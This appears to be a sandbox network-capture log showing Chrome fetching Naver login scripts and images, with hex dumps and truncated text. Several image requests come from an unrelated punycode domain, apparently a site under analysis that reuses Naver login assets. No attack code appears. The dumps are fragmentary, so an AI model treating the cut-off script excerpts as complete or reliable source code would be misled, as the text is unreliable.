2025-01-14 07:13:03 UTC	373	OUT	GET /inc/common/js/passwdAjax.js?20180530 HTTP/1.1 Host: nid.naver.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 07:13:04 UTC	671	IN	HTTP/1.1 200 OK date: Tue, 14 Jan 2025 07:13:03 GMT content-type: application/javascript content-length: 5266 last-modified: Thu, 28 Nov 2024 01:46:08 GMT vary: Accept-Encoding etag: "6747cb60-1492" accept-ch: dpr,device-memory,viewport-width,rtt,downlink,ect,lang accept-ch: ua-arch,ua-platform,ua-platform-version,ua-model,ua-full-version,ua,ua-mobile accept-ch: sec-ch-ua-arch,sec-ch-ua-platform,sec-ch-ua-platform-version,sec-ch-ua-model,sec-ch-ua-full-version,sec-ch-ua-full-version-list,sec-ch-ua,sec-ch-ua-mobile accept-ch-lifetime: 86400 x-ua-compatible: IE=edge accept-ranges: bytes referrer-policy: unsafe-url server: nfront connection: close
2025-01-14 07:13:04 UTC	5266	IN	Data Raw: 0a 2f 2f 20 eb b9 84 eb b0 80 eb b2 88 ed 98 b8 20 ec 95 88 ec a0 84 20 eb 8b a8 ea b3 84 20 ec a7 84 eb 8b a8 ec 9d 84 20 ec 9c 84 ed 95 b4 20 ec 82 ac ec 9a a9 ed 95 98 eb 8a 94 20 ed 95 a8 ec 88 98 eb 93 a4 20 20 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 0a 76 61 72 20 75 72 6c 5f 6c 6f 67 69 6e 20 3d 20 22 2f 75 73 65 72 32 2f 63 68 65 63 6b 50 61 73 73 77 64 3f 6d 3d 63 68 65 63 6b 50 61 73 73 77 64 46 6f 72 4c 6f 67 69 6e 22 3b 0a 76 61 72 20 75 72 6c 5f 6e 6f 6c 6f 67 69 6e 20 3d 20 22 2f 75 73 65 72 32 2f 63 68 65 63 6b 50 61 73 73 77 64 3f 6d 3d 63 68 65 63 6b 50 61 Data Ascii: // ###########################################################################var url_login = "/user2/checkPasswd?m=checkPasswdForLogin";var url_nologin = "/user2/checkPasswd?m=checkPa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	60486	110.93.159.38	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:13:03 UTC	376	OUT	GET /inc/common/js/ko/commonUtil.js?20170214 HTTP/1.1 Host: nid.naver.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 07:13:04 UTC	672	IN	HTTP/1.1 200 OK date: Tue, 14 Jan 2025 07:13:03 GMT content-type: application/javascript content-length: 22510 last-modified: Thu, 28 Nov 2024 01:46:08 GMT vary: Accept-Encoding etag: "6747cb60-57ee" accept-ch: dpr,device-memory,viewport-width,rtt,downlink,ect,lang accept-ch: ua-arch,ua-platform,ua-platform-version,ua-model,ua-full-version,ua,ua-mobile accept-ch: sec-ch-ua-arch,sec-ch-ua-platform,sec-ch-ua-platform-version,sec-ch-ua-model,sec-ch-ua-full-version,sec-ch-ua-full-version-list,sec-ch-ua,sec-ch-ua-mobile accept-ch-lifetime: 86400 x-ua-compatible: IE=edge accept-ranges: bytes referrer-policy: unsafe-url server: nfront connection: close
2025-01-14 07:13:04 UTC	7545	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 69 73 56 61 6c 69 64 5f 63 6f 72 70 5f 6e 6f 28 6e 6f 29 0a 7b 0a 09 76 61 72 20 72 65 67 53 74 72 20 3d 20 2f 5e 5b 30 2d 39 5d 7b 31 33 7d 24 2f 3b 0a 20 20 20 20 69 66 28 20 21 72 65 67 53 74 72 2e 74 65 73 74 28 6e 6f 29 20 29 20 7b 0a 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 69 66 28 20 27 30 30 30 30 30 30 30 30 30 30 30 30 30 27 20 3d 3d 20 6e 6f 0a 20 20 20 20 20 29 20 7b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 20 7d 0a 0a 20 20 20 20 20 72 65 74 75 72 6e 20 74 72 75 65 3b 0a 0a 20 20 20 20 76 61 72 20 73 74 72 20 3d 20 6e 6f 2e 74 6f 53 74 72 69 6e 67 28 29 3b 0a 20 20 20 20 20 61 20 3d 20 73 74 72 2e 73 75 62 73 74 72 69 6e 67 28 30 2c 20 31 29 3b 0a 20 20 Data Ascii: function isValid_corp_no(no){var regStr = /^[0-9]{13}$/; if( !regStr.test(no) ) { return false; } if( '0000000000000' == no ) { return false; } return true; var str = no.toString(); a = str.substring(0, 1);
2025-01-14 07:13:04 UTC	14965	IN	Data Raw: 20 20 20 20 20 69 66 28 73 74 72 20 3d 3d 20 22 22 29 7b 0a 20 20 20 20 20 09 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 6f 62 6a 29 2e 69 6e 6e 65 72 48 54 4d 4c 20 3d 20 22 ec 9d b4 eb a9 94 ec 9d bc 20 ec a3 bc ec 86 8c eb a5 bc 20 ec 9e 85 eb a0 a5 ed 95 98 ec 84 b8 ec 9a 94 2e 22 3b 0a 20 20 20 20 20 09 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 0a 20 20 20 20 20 7d 0a 20 20 20 20 20 76 61 72 20 72 65 74 56 61 6c 20 3d 20 63 68 65 63 6b 53 70 61 63 65 28 20 73 74 72 20 29 3b 0a 20 20 20 20 20 69 66 28 20 72 65 74 56 61 6c 20 29 20 7b 0a 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 6f 62 6a 29 2e 69 6e 6e 65 72 48 54 4d 4c 20 3d 20 22 ec 9d b4 eb a9 94 ec 9d bc 20 ec a3 bc Data Ascii: if(str == ""){ document.getElementById(obj).innerHTML = " ."; return false; } var retVal = checkSpace( str ); if( retVal ) { document.getElementById(obj).innerHTML = "

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	60484	110.93.159.38	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:13:03 UTC	357	OUT	GET /inc/common/js/lua.js HTTP/1.1 Host: nid.naver.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 07:13:04 UTC	671	IN	HTTP/1.1 200 OK date: Tue, 14 Jan 2025 07:13:03 GMT content-type: application/javascript content-length: 5992 last-modified: Thu, 28 Nov 2024 01:46:08 GMT vary: Accept-Encoding etag: "6747cb60-1768" accept-ch: dpr,device-memory,viewport-width,rtt,downlink,ect,lang accept-ch: ua-arch,ua-platform,ua-platform-version,ua-model,ua-full-version,ua,ua-mobile accept-ch: sec-ch-ua-arch,sec-ch-ua-platform,sec-ch-ua-platform-version,sec-ch-ua-model,sec-ch-ua-full-version,sec-ch-ua-full-version-list,sec-ch-ua,sec-ch-ua-mobile accept-ch-lifetime: 86400 x-ua-compatible: IE=edge accept-ranges: bytes referrer-policy: unsafe-url server: nfront connection: close
2025-01-14 07:13:04 UTC	5992	IN	Data Raw: 2f 2a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0d 0a 40 20 66 69 6c 65 6e 61 6d 65 20 3a 20 6c 75 61 2e 6a 73 0d 0a 40 20 72 61 6d 73 20 2d 20 32 30 31 35 30 37 32 38 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2a 2f 0d 0a 76 61 72 20 6c 75 61 5f 63 6e 74 20 3d 20 30 3b 0d 0a 76 61 72 20 6c 75 61 5f 62 69 20 3d 20 7b 7d 3b 0d 0a 76 61 72 20 6c 75 61 5f 73 44 61 74 65 20 3d 20 6e 65 77 20 44 61 74 65 28 29 3b 0d 0a 0d 0a 76 61 72 20 45 52 52 4f 52 5f 4e 4f 5f 56 41 4c 55 45 20 3d 20 22 45 52 52 4f 52 5f 4e 4f 5f 56 41 4c 55 45 22 3b 0d 0a 0d 0a 76 61 72 20 Data Ascii: /----------------------------------------------@ filename : lua.js@ rams - 20150728------------------------------------------------/var lua_cnt = 0;var lua_bi = {};var lua_sDate = new Date();var ERROR_NO_VALUE = "ERROR_NO_VALUE";var

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	60489	110.93.159.38	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:13:03 UTC	360	OUT	GET /inc/common/js/rsaAll.js HTTP/1.1 Host: nid.naver.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 07:13:04 UTC	672	IN	HTTP/1.1 200 OK date: Tue, 14 Jan 2025 07:13:04 GMT content-type: application/javascript content-length: 18021 last-modified: Thu, 28 Nov 2024 01:46:08 GMT vary: Accept-Encoding etag: "6747cb60-4665" accept-ch: dpr,device-memory,viewport-width,rtt,downlink,ect,lang accept-ch: ua-arch,ua-platform,ua-platform-version,ua-model,ua-full-version,ua,ua-mobile accept-ch: sec-ch-ua-arch,sec-ch-ua-platform,sec-ch-ua-platform-version,sec-ch-ua-model,sec-ch-ua-full-version,sec-ch-ua-full-version-list,sec-ch-ua,sec-ch-ua-mobile accept-ch-lifetime: 86400 x-ua-compatible: IE=edge accept-ranges: bytes referrer-policy: unsafe-url server: nfront connection: close
2025-01-14 07:13:04 UTC	7545	IN	Data Raw: 76 61 72 20 64 62 69 74 73 3b 0d 0a 0d 0a 76 61 72 20 63 61 6e 61 72 79 20 3d 20 30 78 64 65 61 64 62 65 65 66 63 61 66 65 3b 0d 0a 76 61 72 20 6a 5f 6c 6d 20 3d 20 28 28 63 61 6e 61 72 79 26 30 78 66 66 66 66 66 66 29 3d 3d 30 78 65 66 63 61 66 65 29 3b 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 42 69 67 49 6e 74 65 67 65 72 28 61 2c 62 2c 63 29 20 7b 0d 0a 20 20 69 66 28 61 20 21 3d 20 6e 75 6c 6c 29 0d 0a 20 20 20 20 69 66 28 22 6e 75 6d 62 65 72 22 20 3d 3d 20 74 79 70 65 6f 66 20 61 29 20 74 68 69 73 2e 66 72 6f 6d 4e 75 6d 62 65 72 28 61 2c 62 2c 63 29 3b 0d 0a 20 20 20 20 65 6c 73 65 20 69 66 28 62 20 3d 3d 20 6e 75 6c 6c 20 26 26 20 22 73 74 72 69 6e 67 22 20 21 3d 20 74 79 70 65 6f 66 20 61 29 20 74 68 69 73 2e 66 72 6f 6d 53 74 72 69 6e 67 28 61 2c Data Ascii: var dbits;var canary = 0xdeadbeefcafe;var j_lm = ((canary&0xffffff)==0xefcafe);function BigInteger(a,b,c) { if(a != null) if("number" == typeof a) this.fromNumber(a,b,c); else if(b == null && "string" != typeof a) this.fromString(a,
2025-01-14 07:13:04 UTC	10476	IN	Data Raw: 75 6c 6c 29 20 72 20 3d 20 6e 62 69 28 29 3b 0d 0a 20 20 76 61 72 20 79 20 3d 20 6e 62 69 28 29 2c 20 74 73 20 3d 20 74 68 69 73 2e 73 2c 20 6d 73 20 3d 20 6d 2e 73 3b 0d 0a 20 20 76 61 72 20 6e 73 68 20 3d 20 74 68 69 73 2e 44 42 2d 6e 62 69 74 73 28 70 6d 5b 70 6d 2e 74 2d 31 5d 29 3b 0d 0a 20 20 69 66 28 6e 73 68 20 3e 20 30 29 20 7b 20 70 6d 2e 6c 53 68 69 66 74 54 6f 28 6e 73 68 2c 79 29 3b 20 70 74 2e 6c 53 68 69 66 74 54 6f 28 6e 73 68 2c 72 29 3b 20 7d 0d 0a 20 20 65 6c 73 65 20 7b 20 70 6d 2e 63 6f 70 79 54 6f 28 79 29 3b 20 70 74 2e 63 6f 70 79 54 6f 28 72 29 3b 20 7d 0d 0a 20 20 76 61 72 20 79 73 20 3d 20 79 2e 74 3b 0d 0a 20 20 76 61 72 20 79 30 20 3d 20 79 5b 79 73 2d 31 5d 3b 0d 0a 20 20 69 66 28 79 30 20 3d 3d 20 30 29 20 72 65 74 75 72 6e Data Ascii: ull) r = nbi(); var y = nbi(), ts = this.s, ms = m.s; var nsh = this.DB-nbits(pm[pm.t-1]); if(nsh > 0) { pm.lShiftTo(nsh,y); pt.lShiftTo(nsh,r); } else { pm.copyTo(y); pt.copyTo(r); } var ys = y.t; var y0 = y[ys-1]; if(y0 == 0) return

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	60488	110.93.159.38	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:13:03 UTC	365	OUT	GET /inc/common/js/lcs_nclicks.js HTTP/1.1 Host: nid.naver.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 07:13:04 UTC	672	IN	HTTP/1.1 200 OK date: Tue, 14 Jan 2025 07:13:04 GMT content-type: application/javascript content-length: 47089 last-modified: Thu, 28 Nov 2024 01:46:08 GMT vary: Accept-Encoding etag: "6747cb60-b7f1" accept-ch: dpr,device-memory,viewport-width,rtt,downlink,ect,lang accept-ch: ua-arch,ua-platform,ua-platform-version,ua-model,ua-full-version,ua,ua-mobile accept-ch: sec-ch-ua-arch,sec-ch-ua-platform,sec-ch-ua-platform-version,sec-ch-ua-model,sec-ch-ua-full-version,sec-ch-ua-full-version-list,sec-ch-ua,sec-ch-ua-mobile accept-ch-lifetime: 86400 x-ua-compatible: IE=edge accept-ranges: bytes referrer-policy: unsafe-url server: nfront connection: close
2025-01-14 07:13:04 UTC	7545	IN	Data Raw: 2f 2f 20 6e 63 6c 6b 2e 6a 73 2c 20 56 65 72 73 69 6f 6e 20 30 2e 37 2e 31 0a 2f 2f 20 4c 6f 67 2d 64 61 74 61 20 32 30 32 31 2e 31 31 2e 30 39 2e 0a 0a 28 66 75 6e 63 74 69 6f 6e 28 6e 63 6c 6b 45 78 70 6f 72 74 73 29 20 7b 0a 0a 20 20 20 20 2f 2a 20 47 6c 6f 62 61 6c 20 76 61 72 69 61 62 6c 65 20 2a 2f 0a 2f 2f 20 46 75 6e 63 74 69 6f 6e 20 4e 61 6d 65 20 3a 20 6e 63 6c 6b 0a 2f 2f 20 41 72 67 75 6d 65 6e 74 20 3a 20 65 20 2d 20 60 65 76 65 6e 74 60 20 6f 72 20 60 65 6c 65 6d 65 6e 74 60 20 77 68 65 72 65 20 65 76 65 6e 74 20 6f 63 63 75 72 65 64 20 6f 62 6a 65 63 74 2c 20 61 20 2d 20 63 6c 69 63 6b 20 61 72 65 61 2c 20 20 69 20 2d 20 67 64 49 44 20 6f 72 20 63 69 64 2c 20 72 20 2d 20 72 61 6e 6b 20 69 6e 20 61 72 65 61 2c 20 6f 70 74 20 2d 20 66 6f 72 Data Ascii: // nclk.js, Version 0.7.1// Log-data 2021.11.09.(function(nclkExports) { /* Global variable */// Function Name : nclk// Argument : e - `event` or `element` where event occured object, a - click area, i - gdID or cid, r - rank in area, opt - for
2025-01-14 07:13:04 UTC	16384	IN	Data Raw: 65 66 3b 0a 20 20 20 20 20 20 20 20 76 61 72 20 67 5f 6c 63 73 73 74 69 20 3d 20 6e 63 6c 6b 2e 67 67 76 28 22 67 5f 6c 63 73 73 74 69 22 29 20 7c 7c 20 70 61 72 65 6e 74 56 61 72 2e 67 5f 6c 63 73 73 74 69 20 7c 7c 20 6e 75 6c 6c 3b 0a 20 20 20 20 20 20 20 20 76 61 72 20 6c 63 73 5f 67 65 74 5f 6c 70 69 64 20 3d 20 6e 63 6c 6b 45 78 70 6f 72 74 73 2e 6c 63 73 5f 67 65 74 5f 6c 70 69 64 20 7c 7c 20 70 61 72 65 6e 74 56 61 72 2e 6c 63 73 5f 67 65 74 5f 6c 70 69 64 20 7c 7c 20 6e 75 6c 6c 3b 0a 0a 20 20 20 20 20 20 20 20 69 66 20 28 6d 20 3d 3d 20 75 6e 64 65 66 69 6e 65 64 29 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 20 3d 20 31 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 69 66 20 28 73 20 3d 3d 20 75 6e 64 65 66 69 6e 65 64 29 20 7b Data Ascii: ef; var g_lcssti = nclk.ggv("g_lcssti") \|\| parentVar.g_lcssti \|\| null; var lcs_get_lpid = nclkExports.lcs_get_lpid \|\| parentVar.lcs_get_lpid \|\| null; if (m == undefined){ m = 1; } if (s == undefined) {
2025-01-14 07:13:04 UTC	8192	IN	Data Raw: 6e 65 6e 74 28 70 69 64 46 61 6c 6c 62 61 63 6b 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 28 21 21 65 74 63 2e 73 74 69 29 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 67 5f 6c 63 73 73 74 69 20 3d 20 65 74 63 2e 73 74 69 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2f 20 46 72 6f 6d 20 32 30 31 36 2e 37 2e 32 30 2c 20 77 65 20 64 65 63 69 64 65 64 20 74 6f 20 70 75 74 20 74 69 6d 65 73 74 61 6d 70 20 69 6e 20 65 76 65 72 79 20 6c 63 73 20 6c 6f 67 27 73 20 72 65 71 75 65 73 74 20 55 52 49 2e 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2f 20 54 68 65 20 72 65 61 73 6f 6e 20 66 6f 72 20 74 68 69 73 20 69 73 20 74 6f 20 70 72 65 76 Data Ascii: nent(pidFallback); } if(!!etc.sti){ window.g_lcssti = etc.sti; } // From 2016.7.20, we decided to put timestamp in every lcs log's request URI. // The reason for this is to prev
2025-01-14 07:13:04 UTC	14968	IN	Data Raw: 20 20 20 20 20 20 20 20 7d 20 63 61 74 63 68 20 28 65 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 65 29 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 7d 0a 0a 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 6c 63 73 5f 73 65 74 4e 61 76 69 67 61 74 69 6f 6e 54 79 70 65 28 29 20 7b 0a 20 20 20 20 20 20 20 20 76 61 72 20 6e 67 74 20 3d 20 67 65 74 4e 61 76 69 67 61 74 69 6f 6e 54 79 70 65 28 29 3b 0a 0a 20 20 20 20 20 20 20 20 69 66 20 28 6e 67 74 20 21 3d 3d 20 75 6e 64 65 66 69 6e 65 64 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 63 73 5f 70 65 72 66 5b 22 6e 67 74 22 5d 20 3d 20 6e 67 74 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 7d 0a 0a 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 67 65 74 4e 61 76 69 67 61 74 Data Ascii: } catch (e) { console.warn(e); } } function lcs_setNavigationType() { var ngt = getNavigationType(); if (ngt !== undefined) { lcs_perf["ngt"] = ngt; } } function getNavigat

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	60490	223.130.195.167	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:13:03 UTC	636	OUT	GET /images/web/user/sp_u_skip.png HTTP/1.1 Host: static.nid.naver.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 07:13:04 UTC	300	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 14 Jan 2025 07:13:04 GMT Content-Type: image/png Content-Length: 967 Last-Modified: Tue, 02 Nov 2021 11:50:30 GMT Connection: close ETag: "61812606-3c7" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 Accept-Ranges: bytes
2025-01-14 07:13:04 UTC	967	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 04 00 00 00 29 08 06 00 00 00 12 c3 88 96 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 22 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 30 2d 63 30 36 31 20 36 34 2e 31 34 30 39 34 39 2c 20 32 30 31 30 2f 31 32 2f 30 37 2d 31 30 3a 35 37 3a 30 31 20 20 Data Ascii: PNGIHDR)tEXtSoftwareAdobe ImageReadyqe<"iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c061 64.140949, 2010/12/07-10:57:01

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	60491	223.130.195.167	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:13:03 UTC	643	OUT	GET /images/ui/myinfo/pc_sp_txt_shape.png HTTP/1.1 Host: static.nid.naver.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 07:13:04 UTC	302	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 14 Jan 2025 07:13:04 GMT Content-Type: image/png Content-Length: 6780 Last-Modified: Tue, 02 Nov 2021 11:50:27 GMT Connection: close ETag: "61812603-1a7c" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 Accept-Ranges: bytes
2025-01-14 07:13:04 UTC	6780	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 96 00 00 00 96 08 06 00 00 00 3c 01 71 e2 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 28 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 31 31 20 37 39 2e 31 35 38 33 32 35 2c 20 32 30 31 35 2f 30 39 2f 31 30 2d 30 31 3a 31 30 3a 32 30 20 20 Data Ascii: PNGIHDR<qtEXtSoftwareAdobe ImageReadyqe<(iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c111 79.158325, 2015/09/10-01:10:20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	60494	223.130.195.167	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:13:04 UTC	635	OUT	GET /images/web/user/ci_naver.png HTTP/1.1 Host: static.nid.naver.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 07:13:04 UTC	300	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 14 Jan 2025 07:13:04 GMT Content-Type: image/png Content-Length: 560 Last-Modified: Tue, 02 Nov 2021 11:50:29 GMT Connection: close ETag: "61812605-230" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 Accept-Ranges: bytes
2025-01-14 07:13:04 UTC	560	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 3f 00 00 00 0b 08 06 00 00 00 c8 b4 55 64 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 01 d2 49 44 41 54 78 da b4 56 d1 6d c2 40 0c 0d a8 03 64 83 a6 03 54 a5 1b c0 7f 3f c2 04 84 09 0a 13 d0 4c d0 64 02 c2 04 a4 52 ff 03 13 14 d4 01 9a 11 b2 41 fb 5c f9 aa c3 f8 2e 01 a5 96 ac 24 67 e7 ce cf 7e be bb c1 fd 7b f0 1d 9c 4a 0d 7d fc 7c 0a 1a fa 80 bd c2 63 6c d9 77 b0 4d ec 1f e0 13 e1 f1 15 9c 4b 01 df 39 ec 6b bc 27 c2 96 c1 b6 b4 e6 f8 c0 63 24 7c 68 9d 95 58 5f 93 09 e6 da 29 58 a4 ec a0 39 7c 4b fa 18 2a 0e 04 64 1d 5c 26 89 6b 1c 01 85 78 a6 8a 2d 16 c9 93 c0 6b 02 14 f4 2b 94 c4 2d d6 7b 71 81 ff 0d 0c 0e c9 05 93 ce 3c b6 Data Ascii: PNGIHDR?UdtEXtSoftwareAdobe 